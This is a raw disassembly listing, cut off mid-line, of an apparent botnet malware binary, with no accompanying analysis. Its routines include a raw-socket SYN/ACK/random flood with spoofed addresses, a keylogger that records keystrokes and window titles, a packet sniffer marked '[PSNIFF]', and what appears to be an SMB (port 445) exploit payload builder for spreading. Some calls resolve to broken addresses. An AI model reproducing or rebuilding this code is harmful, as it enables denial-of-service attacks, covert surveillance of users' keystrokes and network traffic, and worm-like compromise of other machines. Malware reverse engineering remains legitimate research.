pop ecx push 0FFh push 3 push 2 call dword_43AE18 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401E4B call dword_43AD2C push eax lea eax, [ebp+var_440] push offset dword_42642C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401E2B push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401E2B: ; CODE XREF: sub_401D82+84j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 2610350h loc_401E4B: ; CODE XREF: sub_401D82+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_43AD78 cmp eax, 0FFFFFFFFh jnz short loc_401EC9 call dword_43AD2C push eax lea eax, [ebp+var_440] push offset dword_4263E4 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401EA9 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401EA9: ; CODE XREF: sub_401D82+102j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx call near ptr 2610350h nop loc_401EC9: ; CODE XREF: sub_401D82+DFj lea eax, [ebp+var_23C] push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh jnz short loc_401F39 lea eax, [ebp+var_440] push offset dword_4263B4 push eax call sub_4172B0 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401F19 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401F19: ; CODE XREF: sub_401D82+172j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx call near ptr 2610350h nop loc_401F39: ; CODE XREF: sub_401D82+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_43AD98 mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_43ADD8 mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi mov [ebp+var_30], eax loc_401F71: ; CODE XREF: sub_401D82+430j call edi sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_402235 push 28h mov [ebp+var_2C], 45h call dword_43AD98 cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401FE4 call sub_41730C mov esi, eax shl esi, 8 call sub_41730C add esi, eax shl esi, 8 call sub_41730C add esi, eax shl esi, 8 call sub_41730C add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_401FFA ; --------------------------------------------------------------------------- loc_401FE4: ; CODE XREF: sub_401D82+233j push [ebp+var_240] call sub_40AEE0 pop ecx push eax call dword_43ADD8 mov [ebp+var_20], eax loc_401FFA: ; CODE XREF: sub_401D82+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_402018 call sub_41730C cdq mov ecx, 401h idiv ecx push edx jmp short loc_40201E ; --------------------------------------------------------------------------- loc_402018: ; CODE XREF: sub_401D82+284j push [ebp+var_B8] loc_40201E: ; CODE XREF: sub_401D82+294j call dword_43AD98 mov [ebp+var_16], ax call sub_41730C cdq mov ecx, 401h idiv ecx push edx call dword_43AD98 push 12345678h mov [ebp+var_18], ax call dword_43AD94 mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40206E mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40206E: ; CODE XREF: sub_401D82+2E1j lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40208E mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40208E: ; CODE XREF: sub_401D82+301j lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_4020CA call sub_41730C push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41730C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_4020CA: ; CODE XREF: sub_401D82+2EAj ; sub_401D82+30Aj ... push 200h mov [ebp+var_C], 50h call dword_43AD98 mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_43AD98 mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_417390 lea eax, [ebp+var_A0] push 34h push eax call sub_40AF39 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_417390 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AF39 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_4021B7 inc [ebp+arg_0] jmp loc_401F71 ; --------------------------------------------------------------------------- loc_4021B7: ; CODE XREF: sub_401D82+42Bj push [ebp+var_4] call dword_43AE30 call dword_43AD2C push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset dword_426344 lea eax, [ebp+var_440] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_402215 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_402215: ; CODE XREF: sub_401D82+46Ej lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 2610350h loc_402235: ; CODE XREF: sub_401D82+203j push [ebp+var_4] call dword_43AE30 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset dword_4262E4 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_4022A6 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_4022A6: ; CODE XREF: sub_401D82+4FFj lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 2610350h sub_401D82 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022C6 proc near ; CODE XREF: sub_4023A7+B4p ; sub_4023A7+253p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax nop call near ptr 26204BDh lea eax, [ebp+var_114] push 104h push eax nop call near ptr 2620087h lea eax, [ebp+var_114] push offset asc_426C1C ; "\\" push eax call sub_4179D0 lea eax, [ebp+var_114] push offset dword_42F684 push eax call sub_4179D0 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_4179A8 mov esi, eax add esp, 18h test esi, esi jnz short loc_40232D push 1 pop eax jmp short loc_4023A4 ; --------------------------------------------------------------------------- loc_40232D: ; CODE XREF: sub_4022C6+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_417956 push esi call sub_417900 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4023A2 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_426BDC push 200h push eax call sub_41782A push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_40D679 add esp, 24h loc_4023A2: ; CODE XREF: sub_4022C6+A3j xor eax, eax loc_4023A4: ; CODE XREF: sub_4022C6+65j pop esi leave retn sub_4022C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023A7 proc near ; DATA XREF: sub_40EE72+1F95o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_43AD20 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43AD34 mov ebx, 200h loc_402402: ; CODE XREF: sub_4023A7+2C7j push 8 call near ptr 2620000h nop call dword_43AD20 cmp eax, [ebp+var_8] jz short loc_40248A lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43AD34 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_4172B0 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch loc_40248A: ; CODE XREF: sub_4023A7+6Cj mov [ebp+arg_0], offset aB ; "b" loc_402491: ; CODE XREF: sub_4023A7+2BDj push 10h call dword_43AC78 movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_43AD64 test ah, 80h jz short loc_402529 push 14h call dword_43AC78 test ax, ax jz short loc_4024DA cmp esi, 0FFFFFFFFh jle short loc_4024DA cmp edi, 40h jle short loc_4024DA cmp edi, 5Bh jge short loc_4024DA mov [ebp+edi*4+var_8DC], 1 jmp loc_402659 ; --------------------------------------------------------------------------- loc_4024DA: ; CODE XREF: sub_4023A7+112j ; sub_4023A7+117j ... push 14h call dword_43AC78 test ax, ax jz short loc_402505 test esi, esi jge short loc_402519 cmp edi, 40h jle short loc_402505 cmp edi, 5Bh jge short loc_402505 mov [ebp+edi*4+var_8DC], 2 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402505: ; CODE XREF: sub_4023A7+13Ej ; sub_4023A7+147j ... test esi, esi jge short loc_402519 mov [ebp+edi*4+var_8DC], 3 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_4023A7+142j ; sub_4023A7+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402529: ; CODE XREF: sub_4023A7+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_402659 and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_402561 call sub_417AB0 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_402659 ; --------------------------------------------------------------------------- loc_402561: ; CODE XREF: sub_4023A7+1A5j call sub_417AB0 cmp eax, 1B9h pop ecx jbe short loc_402593 call dword_43AD20 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43AD34 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4025D4 ; --------------------------------------------------------------------------- loc_402593: ; CODE XREF: sub_4023A7+1C5j cmp edi, 0Dh jnz loc_40262B lea eax, [ebp+var_2DC] push eax call sub_417AB0 test eax, eax pop ecx jz loc_402659 call dword_43AD20 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43AD34 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_4025D4: ; CODE XREF: sub_4023A7+1EAj lea eax, [ebp+var_4DC] push eax call sub_4172B0 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch jmp short loc_402659 ; --------------------------------------------------------------------------- loc_40262B: ; CODE XREF: sub_4023A7+1EFj cmp esi, 1 jz short loc_402644 cmp esi, 3 jz short loc_402644 cmp esi, 2 jz short loc_40263F cmp esi, 4 jnz short loc_402659 loc_40263F: ; CODE XREF: sub_4023A7+291j push [ebp+arg_0] jmp short loc_40264B ; --------------------------------------------------------------------------- loc_402644: ; CODE XREF: sub_4023A7+287j ; sub_4023A7+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_40264B: ; CODE XREF: sub_4023A7+29Bj lea eax, [ebp+var_2DC] push eax call sub_4179D0 pop ecx pop ecx loc_402659: ; CODE XREF: sub_4023A7+12Ej ; sub_4023A7+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_426BA4 jl loc_402491 cmp [ebp+var_4], 0 jz loc_402402 push [ebp+var_D8] call sub_417078 pop ecx push 0 call near ptr 2610350h nop sub_4023A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402688 proc near ; DATA XREF: sub_40EE72+1DDBo var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_417B30 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_43AD98 push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AEE0 pop ecx push eax call dword_43ADD8 push esi push 3 push 2 mov [ebp+var_18], eax call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_40275D call dword_43AD2C push eax lea eax, [ebp+var_2B4] push offset unk_427604 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402740 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402740: ; CODE XREF: sub_402688+96j lea eax, [ebp+var_2B4] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610350h loc_40275D: ; CODE XREF: sub_402688+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_4407FC[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_43ADC4 cmp eax, 0FFFFFFFFh jnz short loc_4027E2 call dword_43AD2C push eax lea eax, [ebp+var_2B4] push offset unk_4275C0 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4027BE push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4027BE: ; CODE XREF: sub_402688+114j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43AE30 push [ebp+var_30] call sub_417078 pop ecx push esi nop call near ptr 2610350h loc_4027E2: ; CODE XREF: sub_402688+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_43AD44 cmp eax, 0FFFFFFFFh jnz short loc_402865 call dword_43AD2C push eax lea eax, [ebp+var_2B4] push offset unk_427578 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402841 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402841: ; CODE XREF: sub_402688+197j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43AE30 push [ebp+var_30] call sub_417078 pop ecx push esi nop call near ptr 2610350h loc_402865: ; CODE XREF: sub_402688+177j push ebx mov ebx, offset dword_426C78 loc_40286B: ; CODE XREF: sub_402688+21Bj ; sub_402688+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_43ADB0 cmp eax, 0FFFFFFFFh jz loc_40297D cmp [ebp+var_102AB], 6 jnz short loc_40286B mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_40286B lea eax, [ebp+var_1028C] push offset aPsniff ; "[PSNIFF]" push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40286B mov eax, ebx xor edi, edi test eax, eax jz short loc_40286B mov [ebp+arg_0], ebx loc_4028D9: ; CODE XREF: sub_402688+26Cj push eax lea eax, [ebp+var_1028C] push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_4028FB inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_4028D9 jmp loc_40286B ; --------------------------------------------------------------------------- loc_4028FB: ; CODE XREF: sub_402688+262j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_43ACD4 movzx eax, ax push eax push [ebp+var_C] call dword_43AE24 push eax lea eax, [edi+edi*2] mov eax, dword_426C8C[eax*8] push off_426C68[eax*4] lea eax, [ebp+var_2B4] push offset unk_427528 push 200h push eax call sub_41782A add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_40296B push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_40296B: ; CODE XREF: sub_402688+2C1j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx jmp loc_40286B ; --------------------------------------------------------------------------- loc_40297D: ; CODE XREF: sub_402688+20Ej call dword_43AD2C push eax push offset unk_4274E4 lea eax, [ebp+var_2B4] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_4029C3 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4029C3: ; CODE XREF: sub_402688+319j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push [ebp+var_4] call dword_43AE30 push [ebp+var_30] call sub_417078 pop ecx push esi nop call near ptr 2610350h sub_402688 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029E9 proc near ; CODE XREF: sub_402DD7+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_427B64 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_436EDC push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi nop call near ptr 2630000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_436ED8 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_43AE38 cmp eax, 5 mov ebx, 4C3h jz short loc_402AAD cmp eax, ebx jnz short loc_402AB7 loc_402AAD: ; CODE XREF: sub_4029E9+BEj push edi push edi push edi push esi call dword_43AE38 loc_402AB7: ; CODE XREF: sub_4029E9+C2j cmp eax, 5 jz short loc_402AC5 cmp eax, ebx jz short loc_402AC5 push 1 pop eax jmp short loc_402AC7 ; --------------------------------------------------------------------------- loc_402AC5: ; CODE XREF: sub_4029E9+D1j ; sub_4029E9+D5j xor eax, eax loc_402AC7: ; CODE XREF: sub_4029E9+DAj pop edi pop esi pop ebx leave retn sub_4029E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402ACC proc near ; CODE XREF: sub_402DD7+7Ap ; sub_402DD7+15Ap var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_427B64 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_436EDC pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi nop call near ptr 2630000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F add esp, 10h loc_402B5D: ; CODE XREF: sub_402ACC+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_43ACD8 test eax, eax jz short loc_402B7D push 7D0h nop call near ptr 2620000h jmp short loc_402B5D ; --------------------------------------------------------------------------- loc_402B7D: ; CODE XREF: sub_402ACC+A2j push 1 pop eax pop edi pop esi leave retn sub_402ACC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B84 proc near ; CODE XREF: sub_402DD7+A9p ; sub_402DD7+1E7p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_417B30 push esi push edi push offset byte_42F674 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_416BCD mov edi, eax add esp, 10h test edi, edi jz loc_402DD3 push ebx mov ebx, offset off_427A80 push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_417390 add esp, 24h lea esi, [edi+0D7h] loc_402C09: ; CODE XREF: sub_402B84+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_402C59 mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_417390 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_402C09 ; --------------------------------------------------------------------------- loc_402C59: ; CODE XREF: sub_402B84+90j cmp [ebp+arg_C4], 0 jz short loc_402C74 cmp [ebp+arg_C0], 3 jz short loc_402C7D cmp [ebp+arg_C0], 0 jmp short loc_402C7B ; --------------------------------------------------------------------------- loc_402C74: ; CODE XREF: sub_402B84+DCj cmp [ebp+arg_C0], 3 loc_402C7B: ; CODE XREF: sub_402B84+EEj jnz short loc_402C86 loc_402C7D: ; CODE XREF: sub_402B84+E5j push 4 push offset dword_427B60 jmp short loc_402C8D ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_402B84:loc_402C7Bj push 4 push offset dword_427B5C loc_402C8D: ; CODE XREF: sub_402B84+100j lea eax, [ebp+var_1FE0] push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_427694 push eax call sub_417390 push 10h lea eax, [ebp+var_CA4] push offset dword_4279F8 push eax call sub_417390 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_417390 lea edi, [esi+370h] push 3Ch push offset off_427A0C lea eax, [ebp+edi+var_1004] push eax call sub_417390 add edi, 3Ch push 30h push offset dword_427A4C lea eax, [ebp+edi+var_1004] push eax call sub_417390 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_417B89 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_417330 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_417390 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_402DD3: ; CODE XREF: sub_402B84+3Ej pop edi pop esi leave retn sub_402B84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DD7 proc near ; CODE XREF: sub_407767+1EAp ; DATA XREF: ___:off_42ACB4o var_1338 = byte ptr -1338h var_338 = byte ptr -338h var_138 = byte ptr -138h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp mov eax, 1338h call sub_417B30 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_402F45 lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_4029E9 pop ecx test eax, eax pop ecx jz loc_403055 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_138] push offset 